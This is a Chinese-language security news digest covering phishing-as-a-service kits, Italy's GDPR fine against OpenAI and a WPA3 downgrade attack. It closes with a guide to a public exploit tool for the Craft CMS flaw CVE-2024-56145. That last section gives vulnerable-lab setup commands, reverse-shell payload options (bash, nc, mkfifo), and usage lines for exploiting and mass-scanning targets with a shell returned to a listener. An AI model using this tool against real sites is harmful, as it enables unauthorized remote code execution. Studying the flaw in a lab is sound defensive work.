网站常用图片,网络免费,网站鼠标悬停动态效果代码,做企业网站要多少钱国内外要闻
Rockstar 2FA 故障催生 FlowerStorm 钓鱼即服务扩张现象剖析 在网络安全的复杂战场中#xff0c;近期出现了一个值得关注的动态#xff1a;名为 Rockstar 2FA 的钓鱼即服务#xff08;PhaaS#xff09;工具包遭遇变故#xff0c;意外推动了另一个新生服务 Flo…国内外要闻
Rockstar 2FA 故障催生 FlowerStorm 钓鱼即服务扩张现象剖析 在网络安全的复杂战场中近期出现了一个值得关注的动态名为 Rockstar 2FA 的钓鱼即服务PhaaS工具包遭遇变故意外推动了另一个新生服务 FlowerStorm 的猖獗扩张。 据 Sophos 上周发布的新报告指出运营 Rockstar 2FA 服务的团体似乎经历了至少部分基础设施的崩溃与该服务相关的页面已无法访问。“这并非由于执法取缔行动而是服务后端出现了一些技术故障。” 上月末Trustwave 首次记录了 Rockstar 2FA它作为一种 PhaaS 服务能让不法分子发起钓鱼攻击窃取微软 365 账户凭据和会话 cookie绕过多重身份验证MFA保护。该服务被评估为 DadSec 钓鱼工具包的更新版本微软以 Storm - 1575 之名对其追踪多数钓鱼页面托管于.com、.de、.ru 和.moscow 顶级域名不过.ru 域名的使用据信已随时间减少。 2024 年 11 月 11 日Rockstar 2FA 似乎遭遇技术中断转向中间诱饵页面时引发 Cloudflare 超时错误伪造登录页面无法加载。虽然尚不清楚中断缘由但此 PhaaS 工具包留下的空白致使与 FlowerStorm 相关的钓鱼活动激增。FlowerStorm 至少自 2024 年 6 月起就已活跃Sophos 称二者在钓鱼门户页面格式及连接后端服务器窃取凭据的方法上存在相似之处暗示可能有共同起源且都滥用 Cloudflare Turnstile 防止页面请求来自机器人。有人怀疑 11 月 11 日的中断要么代表其中一个团体的战略转向要么是运营人员变动抑或是有意拆分两项业务现阶段尚无确凿证据将二者关联。 使用 FlowerStorm 最频繁的目标国家包括美国、加拿大、英国、澳大利亚、意大利、瑞士、波多黎各、德国、新加坡和印度。Sophos 表示“受攻击最严重的行业是服务业尤其聚焦于提供工程、建筑、房地产、法律服务与咨询的公司。” 这些发现再次凸显出一种持续趋势攻击者即便无需深厚技术专长也能利用网络犯罪服务和通用工具大规模发动网络攻击这为网络安全防护敲响了警钟各方需进一步加强防范与监测以应对此类不断演变的威胁。 意大利因 ChatGPT 违反 GDPR 数据隐私规定对 OpenAI 罚款 1500 万欧元 在数据隐私备受瞩目的当下意大利的数据保护机构对 ChatGPT 的开发者 OpenAI 开出了高达 1500 万欧元约合 1566 万美元的罚单原因是这款生成式人工智能应用在处理个人数据方面存在诸多问题。 早在近一年前意大利数据保护机构Garante就发现 ChatGPT 在违反欧盟《通用数据保护条例》GDPR的情况下使用用户信息来训练其服务。该机构指出OpenAI 未就 2023 年 3 月发生的安全漏洞向其通报并且在没有充分法律依据的情况下使用用户的个人信息来训练 ChatGPT。同时还指责该公司违背了透明度原则以及对用户的相关信息告知义务。 此外Garante 表示“OpenAI 也未设立年龄验证机制这可能会使 13 岁以下儿童面临接触与其发展程度和自我认知不符的不当回应的风险。” 除了罚款OpenAI 还被要求开展为期六个月的宣传活动通过广播、电视、报纸以及互联网等渠道增进公众对 ChatGPT 运作方式的了解。 具体而言要让公众知晓其为训练模型所收集的数据包括用户和非用户信息的性质以及用户可用来反对、更正或删除这些数据的权利。Garante 补充道“通过这次宣传活动ChatGPT 的用户和非用户都必须清楚如何阻止生成式人工智能使用他们的个人数据进行训练从而切实保障他们在 GDPR 下的权利。” 意大利曾在 2023 年 3 月下旬率先以数据保护担忧为由对 ChatGPT 实施了临时禁令。近一个月后在 OpenAI 解决了 Garante 提出的相关问题后ChatGPT 才恢复访问。OpenAI 在发给美联社的一份声明中称这一处罚决定并不合理其打算提起上诉称该罚款金额几乎是其在意大利那段时期营收的 20 倍。同时它还表示致力于提供有益且尊重用户隐私权的人工智能。 此次裁决出台之前欧洲数据保护委员会EDPB曾提出一种观点即非法处理个人数据但在部署前已进行匿名化处理的人工智能模型并不构成违反 GDPR 的行为。该委员会表示“如果能够证明人工智能模型后续的运行不涉及个人数据处理那么 EDPB 认为 GDPR 并不适用。因此初始处理的非法性不应影响模型后续的运行。” 而且EDPB 还认为当控制者在模型匿名化后对部署阶段收集的个人数据进行后续处理时GDPR 将适用于这些处理操作。本月早些时候该委员会还发布了关于以符合 GDPR 的方式处理向非欧洲国家进行数据转移的指南这些指南将接受公众咨询截止日期为 2025 年 1 月 27 日并指出 “第三国当局的判决或决定不能在欧洲自动得到认可或执行。如果一个组织响应第三国当局对个人数据的请求这种数据流动就构成了转移GDPR 就会适用。” WPA3 网络密码遭中间人攻击与社会工程学手段绕过 在网络安全领域近期研究有了令人担忧的发现研究人员成功地通过结合中间人MITM攻击和社会工程学技术绕过了 Wi-Fi 保护访问 3WPA3协议以获取网络密码。 来自西印度群岛大学的凯尔・查迪、韦恩・古德里奇和科夫卡・汗开展的此项研究凸显了最新无线安全标准中潜在的漏洞。WPA3 于 2018 年推出旨在弥补其前身 WPA2 的缺陷并为 Wi-Fi 网络提供更强的安全性。其关键特性之一是对等同时认证SAE协议旨在使密码能抵御离线字典攻击。 然而研究人员证明可以利用 WPA3 过渡模式中的弱点该模式用于与 WPA2 设备向后兼容。通过利用降级攻击他们能够捕获部分 WPA3 握手信息然后结合社会工程学技术来恢复网络密码。 攻击方法主要包含三个主要步骤首先使用降级攻击捕获握手信息其次将用户从原始 WPA3 网络中解除认证最后创建一个带有强制门户的 “恶意双胞胎” 接入点以获取密码。研究人员使用树莓派来模拟 WPA3 接入点并利用 Airgeddon 等开源工具来创建恶意接入点和强制门户。当毫无防备的用户尝试连接到虚假网络时会被提示输入 Wi-Fi 密码然后该密码会与捕获的握手信息进行验证。 这项研究引发了对 WPA3 安全性的担忧尤其是其过渡模式。研究发现当未实施受保护管理帧这是许多用户可能未意识到或未启用的设置时攻击能够成功。有趣的是研究人员还发现一些设备无法连接到 WPA3 过渡网络这与 Wi-Fi 联盟声称的与 WPA2 的向后兼容性相矛盾。 虽然该攻击需要特定条件和用户交互但它表明了保护无线网络面临的持续挑战。研究人员强调了用户教育以及正确配置 WPA3 网络以减轻此类风险的重要性。网络安全专家呼吁对 WPA3 的漏洞进行进一步调查并开发更多的防护措施。由于 Wi-Fi 网络对于企业和个人而言都是关键基础设施确保其安全性至关重要。 这项研究的结果提醒人们即使是最先进的安全协议也可能容易受到技术漏洞利用和社会工程学巧妙组合的攻击。随着 WPA3 采用率的增加用户和制造商都必须保持警惕并实施最佳实践以保护无线网络免受潜在攻击。研究团队计划继续开展工作探索更多漏洞并开发对策以增强 WPA3 和未来无线协议的安全性。他们的努力有助于在不断演变的数字安全环境中网络安全专业人员与潜在攻击者之间持续的对抗。 知识分享
CVE-2024-56145: Craft CMS 漏洞利用工具介绍
一、工具背景与用途 这款工具旨在利用 Craft CMS 中存在的一个漏洞该漏洞是由 Assetnote 出色的研究团队所发现的。这个漏洞源于对用户提供的模板路径处理不当使得攻击者能够通过特制的有效载荷实现远程代码执行RCE。
二、工具特点 自动化 FTP 服务器具备自动化的 FTP 服务器功能可用于提供恶意的有效载荷方便攻击者实施相关攻击行为。 多种反向 shell 有效载荷生成支持生成多种类型如 bash、nc、mkfifo 等的反向 shell 有效载荷使用者可根据具体需求进行选择增加了攻击手段的灵活性。 漏洞检查功能提供漏洞检查器能够识别存在此漏洞的易受攻击目标有助于攻击者筛选合适的攻击对象也方便安全人员提前排查隐患。 多线程支持支持多线程运行能够实现更快的扫描速度在面对大量目标时可以有效提高检测或攻击的效率。 易用的 CLI 界面拥有清晰易用的命令行界面CLI操作过程中会给出明确的反馈信息无论是专业安全人员还是有一定基础的使用者都能较方便地操作该工具。
三、搭建易受攻击的测试环境设置漏洞测试实验室 若要设置用于测试目的的 Craft CMS 实例可按照以下步骤进行操作 首先创建相关目录并进入
mkdir exploit-craft \cd exploit-craft \2. 配置 DDEV 项目用于 Craft CMS
ddev config \ --project-typecraftcms \ --docrootweb \ --create-docroot \ --php-version8.2 \ --databasemysql:8.0 \ --nodejs-version20 \
3. 创建 DDEV 项目
ddev start -y \
4. 创建指定版本的 Craft CMS
ddev composer create -y --no-scripts --no-interaction craftcms/craft:5.0.0 \
5. 安装特定的 CMS 版本
ddev composer require craftcms/cms:5.5.0 \ --no-scripts \ --no-interaction --with-all-dependencies \
6. 设置 Craft CMS 的安全密钥
ddev craft setup/security-key \
7. 安装 Craft CMS
ddev craft install/craft \ --usernameadmin \ --passwordpassword123 \ --emailadminexample.com \ --site-nameTestsite \ --languageen \ --site-url$DDEV_PRIMARY_URL \8. 为 PHP 启用 register_argc_argv
mkdir -p.ddev/php/ \echo register_argc_argv On .ddev/php/php.ini \ddev restart \9. 最后输出提示信息并启动项目
echo Nice, ready to launch! \ddev launch四、工具使用方法
查看帮助信息 运行工具时添加 --help 标志就能查看可用的命令命令格式如下
python exploit.py --help
利用命令Exploit Command
若要利用某个目标的漏洞使用以下命令格式
python exploit.py exploit -u TARGET_URL -lh LOCAL_HOST -lp LOCAL_PORT -px PAYLOAD_TYPE
各参数含义如下
-u 或 --url指定目标 URL此参数是必需的。-lh 或 --lhost用于接收反向 shell 的本地 IP也是必需参数。-lp 或 --lport本地用于监听的端口同样为必需项。-fh 或 --ftp-hostFTP 服务器主机地址。-fp 或 --ftp-portFTP 服务器端口号。-px 或 --payload有效载荷类型可选 bash、nc、mkfifo 等默认值为 bash。
例如python exploit.py exploit -u https://example.com -lh 192.168.1.10 -lp 4444 -fh 127.0.0.1 -fp 2121 -px bash
检查命令Check Command
python exploit.py check -u TARGET_URL -f FILE_WITH_URLS -t THREADS -o OUTPUT_FILE
各参数含义如下
-u 或 --url单个目标 URL。-f 或 --file包含多个要扫描的 URL 的文件。-t 或 --threads用于扫描的并发线程数量。-o 或 --output用于保存结果的输出文件。
例如
python exploit.py check -f urls.txt -t 10 -o results.txt 最后需要强调的是应秉持负责任、符合道德的态度来使用这款工具该工具的代码仓库地址为 https://github.com/Chocapikk/CVE-2024-56145使用者可前往获取更多详细内容。
